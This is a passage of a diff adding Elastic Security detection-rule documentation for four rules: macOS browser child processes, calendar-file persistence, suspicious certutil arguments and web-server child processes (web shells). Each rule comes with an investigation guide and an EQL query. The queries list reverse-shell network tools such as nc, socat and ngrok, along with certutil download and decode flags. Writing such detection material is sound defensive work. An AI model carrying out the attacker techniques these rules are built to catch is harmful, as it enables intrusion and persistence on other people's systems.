process command line to understand the context of the execution and identify any potentially malicious scripts or commands. +- Check the parent process name to confirm it is one of the specified browsers (e.g., Google Chrome, Safari) and verify if the browser was expected to be running at the time of the alert. +- Investigate the user account associated with the process to determine if the activity aligns with their typical behavior or if the account may have been compromised. +- Examine the network activity around the time of the alert to identify any suspicious connections or data transfers that may indicate further malicious activity. +- Look for any related alerts or logs that might provide additional context or evidence of a broader attack or compromise. +- Assess the risk and impact of the detected activity by considering the severity and risk score provided, and determine if immediate response actions are necessary. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger the rule if they use shell scripts or command-line tools. Users can create exceptions for known update paths, such as those related to Microsoft AutoUpdate or Google Chrome installations, to prevent these from being flagged. +- Development or testing activities involving scripting languages like Python or shell scripts may be mistakenly identified as threats. Users should consider excluding specific development directories or command patterns that are frequently used in their workflows. +- Automated scripts or tools that interact with web browsers for legitimate purposes, such as web scraping or data collection, might be detected. Users can whitelist these processes by specifying their command-line arguments or paths to avoid false positives. +- System administration tasks that involve remote management or configuration changes via command-line tools could be misinterpreted as suspicious. Users should identify and exclude these routine administrative commands to reduce unnecessary alerts. +- Browser extensions or plugins that execute scripts for enhanced functionality might trigger the rule. Users should review and whitelist trusted extensions that are known to execute benign scripts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further malicious activity or lateral movement by the adversary. +- Terminate the suspicious child process identified in the alert to halt any ongoing malicious execution. +- Conduct a thorough review of the browser's recent activity and history to identify any potentially malicious websites or downloads that may have triggered the alert. +- Remove any malicious files or scripts that were executed by the suspicious child process to prevent further exploitation. +- Apply the latest security patches and updates to the affected browser and macOS system to mitigate known vulnerabilities that could be exploited. +- Monitor the system for any signs of persistence mechanisms or additional suspicious activity, ensuring that no backdoors or unauthorized access points remain. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected, ensuring a coordinated response. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.parent.name like~ ("Google Chrome", "Google Chrome Helper*", "firefox", "Opera", "Safari", "com.apple.WebKit.WebContent", "Microsoft Edge") and + ((process.name like~ ("sh", "bash", "dash", "ksh", "tcsh", "zsh") and process.command_line : ("*curl*", "*nscurl*", "*wget*", "*whoami*", "*pwd*")) or + process.name like~ ("curl", "wget", "python*", "perl*", "php*", "osascript", "pwsh")) and + process.command_line != null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Drive-by Compromise +** ID: T1189 +** Reference URL: https://attack.mitre.org/techniques/T1189/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-calendar-file-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-calendar-file-modification.asciidoc new file mode 100644 index 0000000000..efcae5e5ff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-calendar-file-modification.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-34-suspicious-calendar-file-modification]] +=== Suspicious Calendar File Modification + +Identifies suspicious modifications of the calendar file by an unusual process. Adversaries may create a custom calendar notification procedure to execute a malicious program at a recurring interval to establish persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://labs.f-secure.com/blog/operationalising-calendar-alerts-persistence-on-macos +* https://github.com/FSecureLABS/CalendarPersist +* https://github.com/D00MFist/PersistentJXA/blob/master/CalendarPersist.js + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Calendar File Modification* + + +Calendar files on macOS can be manipulated to trigger events, potentially allowing adversaries to execute malicious programs at set intervals, thus achieving persistence. This detection rule identifies unusual processes modifying calendar files, excluding known legitimate applications. By focusing on unexpected executables altering these files, it helps uncover potential threats exploiting calendar notifications for malicious purposes. + + +*Possible investigation steps* + + +- Review the process executable path that triggered the alert to determine if it is a known or unknown application, focusing on paths not excluded by the rule. +- Examine the modification timestamp of the calendar file to correlate with any known user activity or scheduled tasks that might explain the change. +- Check the user account associated with the file modification to assess if the activity aligns with typical user behavior or if it suggests unauthorized access. +- Investigate any recent installations or updates of applications on the system that might have introduced new or unexpected executables. +- Look for additional indicators of compromise on the host, such as unusual network connections or other file modifications, to assess if the calendar file change is part of a broader attack. + + +*False positive analysis* + + +- Legitimate third-party calendar applications may modify calendar files as part of their normal operation. Users can create exceptions for these known applications by adding their executable paths to the exclusion list. +- Automated backup or synchronization tools might access and modify calendar files. Identify these tools and exclude their processes to prevent false alerts. +- User scripts or automation workflows that interact with calendar files for personal productivity purposes can trigger this rule. Review and whitelist these scripts if they are verified as non-malicious. +- System updates or maintenance tasks occasionally modify calendar files. Monitor the timing of such events and correlate them with known update schedules to differentiate between legitimate and suspicious activities. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or further execution of malicious programs. +- Terminate any suspicious processes identified as modifying calendar files that are not part of the known legitimate applications list. +- Restore the calendar files from a known good backup to ensure no malicious events are scheduled. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious software. +- Review and audit user accounts and permissions on the affected system to ensure no unauthorized access or privilege escalation has occurred. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if other systems may be affected. +- Implement additional monitoring and alerting for unusual calendar file modifications across the network to enhance detection of similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.action == "modification" and + file.path like~ "/Users/*/Library/Calendars/*.calendar/Events/*.ics" and + not process.executable like ("/System/Library/*", "/System/Applications/Calendar.app/Contents/MacOS/*", + "/System/Applications/Mail.app/Contents/MacOS/Mail", "/usr/libexec/xpcproxy", + "/sbin/launchd", "/Applications/*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-certutil-commands.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-certutil-commands.asciidoc new file mode 100644 index 0000000000..1432af674f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-certutil-commands.asciidoc @@ -0,0 +1,198 @@ +[[prebuilt-rule-8-19-34-suspicious-certutil-commands]] +=== Suspicious CertUtil Commands + +Identifies suspicious commands being used with certutil.exe. CertUtil is a native Windows component which is part of Certificate Services. CertUtil is often abused by attackers to live off the land for stealthier command and control or data exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://twitter.com/Moriarty_Meng/status/984380793383370752 +* https://twitter.com/egre55/status/1087685529016193025 +* https://www.sysadmins.lv/blog-en/certutil-tips-and-tricks-working-with-x509-file-format.aspx +* https://docs.microsoft.com/en-us/archive/blogs/pki/basic-crl-checking-with-certutil +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 319 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious CertUtil Commands* + + +`certutil.exe` is a command line utility program that is included with Microsoft Windows operating systems. It is used to manage and manipulate digital certificates and certificate services on computers running Windows. + +Attackers can abuse `certutil.exe` utility to download and/or deobfuscate malware, offensive security tools, and certificates from external sources to take the next steps in a compromised environment. This rule identifies command line arguments used to accomplish these behaviors. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the command line to determine the nature of the execution. + - If files were downloaded, retrieve them and check whether they were run, and under which security context. + - If files were obfuscated or deobfuscated, retrieve them. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the involved files using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and command line conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "certutil.exe" or ?process.pe.original_file_name == "CertUtil.exe") and + process.args : ("?decode", "?encode", "?urlcache", "?verifyctl", "?encodehex", "?decodehex", "?exportPFX") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-child-execution-via-web-server.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-child-execution-via-web-server.asciidoc new file mode 100644 index 0000000000..50a160724a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-child-execution-via-web-server.asciidoc @@ -0,0 +1,340 @@ +[[prebuilt-rule-8-19-34-suspicious-child-execution-via-web-server]] +=== Suspicious Child Execution via Web Server + +Identifies suspicious child processes executed via a web server, which may suggest a vulnerability and remote shell access. Attackers may exploit a vulnerability in a web application to execute commands via a web server, or place a backdoor file that can be abused to gain code execution as a mechanism for persistence. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pentestlab.blog/tag/web-shell/ +* https://www.elastic.co/security-labs/elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Use Case: Vulnerability +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Web Shell +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 118 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Child Execution via Web Server* + + +Adversaries may backdoor web servers with web shells to establish persistent access to systems. A web shell is a malicious script, often embedded into a compromised web server, that grants an attacker remote access and control over the server. This enables the execution of arbitrary commands, data exfiltration, and further exploitation of the target network. + +This rule detects a web server process spawning script and command line interface programs, potentially indicating attackers executing commands using the web shell. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Investigate abnormal behaviors by the subject process such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential reverse shells or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Investigate the process information for malicious or uncommon processes/process trees. + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} + - Investigate the process tree spawned from the user that is used to run the web application service. A user that is running a web application should not spawn other child processes. + - !{osquery{"label":"Osquery - Retrieve Process Info for Webapp User","query":"SELECT name, cmdline, parent, path, uid FROM processes WHERE uid = {{process.user.id}}"}} +- Examine the command line to determine which commands or scripts were executed. +- Investigate other alerts associated with the user/host during the past 48 hours. +- If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + process.parent.name in ( + "nginx", "apache2", "httpd", "caddy", "mongrel_rails", "uwsgi", "daphne", "httpd.worker", "flask", + "php-cgi", "php-fcgi", "php-cgi.cagefs", "lswsctrl", "varnishd", "uvicorn", "waitress-serve", "starman", + "frankenphp", "zabbix_server", "asterisk", "sw-engine-fpm" + ) or + process.parent.name like ("php-fpm*", "lsphp*", "gunicorn*", "*.cgi", "*.fcgi") or + ( + process.parent.name like "ruby*" and + process.parent.command_line like~ ("*puma*", "*rails*", "*passenger*") + ) or + ( + process.parent.name like "python*" and + process.parent.command_line like~ ( + "*hypercorn*", "*flask*", "*uvicorn*", "*django*", "*app.py*", "*server.py*", "*wsgi.py*", "*asgi.py*" + ) + ) or + (process.parent.name like "perl*" and process.parent.command_line like~ "*plackup*") or + ( + process.parent.name == "java" and ( + process.parent.args like~ ( + /* Tomcat */ + "org.apache.catalina.startup.Bootstrap", "-Dcatalina.base=*", + + /* Jetty */ + "org.eclipse.jetty.start.Main", "-Djetty.home=*", + + /* WildFly / JBoss */ + "org.jboss.modules.Main", "-Djboss.home.dir=*", + + /* WebLogic */ + "weblogic.Server", "-Dweblogic.Name=*", "*weblogic-launcher.jar*", + + /* WebSphere traditional + Liberty */ + "com.ibm.ws.runtime.WsServer", "com.ibm.ws.kernel.boot.cmdline.Bootstrap", + + /* GlassFish */ + "com.sun.enterprise.glassfish.bootstrap.ASMain", + + /* Resin */ + "com.caucho.server.resin.Resin", + + /* Spring Boot */ + "org.springframework.boot.loader.*", + + /* Quarkus */ + "*quarkus-run.jar*", "io.quarkus.runner.GeneratedMain", + + /* Micronaut */ + "io.micronaut.runtime.Micronaut", + + /* Dropwizard */ + "io.dropwizard.cli.ServerCommand", + + /* Play */ + "play.core.server.ProdServerStart", + + /* Helidon */ + "io.helidon.microprofile.server.Main", "io.helidon.webserver*", + + /* Vert.x */ + "io.vertx.core.Launcher", + + /* Keycloak */ + "org.keycloak*", + + /* Apereo CAS */ + "org.apereo.cas*", + + /* Elasticsearch */ + "org.elasticsearch.bootstrap.Elasticsearch", + + /* Atlassian / Gerrit */ + "com.atlassian.jira.startup.Launcher", "*BitbucketServerLauncher*", "com.google.gerrit.pgm.Daemon", + + /* Solr */ + "*-Dsolr.solr.home=*", + + /* Jenkins */ + "*jenkins.war*" + ) or + ?process.working_directory like "/u0?/*" + ) + ) +) and ( + process.executable like ( + "/tmp/*", "/var/tmp/*", "/dev/shm/*", "./*", "/run/*", "/var/run/*", "/boot/*", "/sys/*", "/lost+found/*", + "/proc/*", "/var/mail/*", "/var/www/*", "/home/*/*", "/root/*" + ) or + process.name like~ ( + // Hidden processes + ".*", + + // Suspicious file formats + "*.elf", "*.sh", "*.py", "*.rb", "*.pl", "*.lua*", "*.php*", ".js", "*.bin", "*.jar", "*.mjs", + + // Network utilities often used for reverse shells + "nc", "netcat", "ncat", "telnet", "socat", "openssl", "nc.openbsd", "ngrok", "nc.traditional", + + // Cloud CLI + "az", "gcloud", "aws", "kubectl", "helm", "docker", "ctr", "crictl", + + // Misc. tools + "whoami", "ifconfig", "ip", "ss", "top", "htop", "du", "lsblk", "lsof", "tcpdump", + "strace", "ltrace", "curl", "wget", "dig", "nslookup", "host", "nmap", "arp", "traceroute", + "cat", "touch", "mv", "rm", "mkdir", "ln", "chmod", "sudo", "xxd", "base64", "basez", + "base64plain", "base64url", "base64mime", "base64pem", "basenc", "base32", "base16", "chpasswd", + "passwd" + ) +) and +not ( + ( + process.parent.name == "java" and + process.executable like ("/tmp/CVU_*/exectask*", "/u01/app/*/bin/crsctl.bin", "/u01/app/*/bin/olsnodes.bin") + ) or + process.working_directory like ("/u01/*/sysman/emd", "/run/systemd/mount-rootfs") or + ( + process.parent.executable == "/opt/morpheus/embedded/java/jre/bin/java" and + process.command_line like ( + "chmod -R g+w /var/opt/morpheus/morpheus-local/repo/git/*", + "sudo -S -u morpheus-local*" + ) + ) or + ( + process.parent.command_line == "/bin/sh /etc/init.d/nginx rotate" and + process.name == "cat" + ) or + ( + process.parent.name == "asterisk" and + process.executable like ( + "/var/www/html/dialapplet-web/agi/*.php", "/var/lib/asterisk/bin/faxnotify.php" + ) + ) or + ( + process.parent.executable == "/home/jiraContractor/jira.install/jre/bin/java" and + process.executable == "/home/jiraContractor/jira.install/jre/lib/jspawnhelper" + ) or + process.parent.args like "/home/agent/Claude/*" or + (process.parent.executable == "/usr/lib/jvm/java-21-openjdk/bin/java" and process.name == "ln") or + ( + process.parent.name == "java" and + process.name == "chmod" and + process.command_line like ("chmod 00660 /etc/pki/*", "*/u01/app/*") + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: 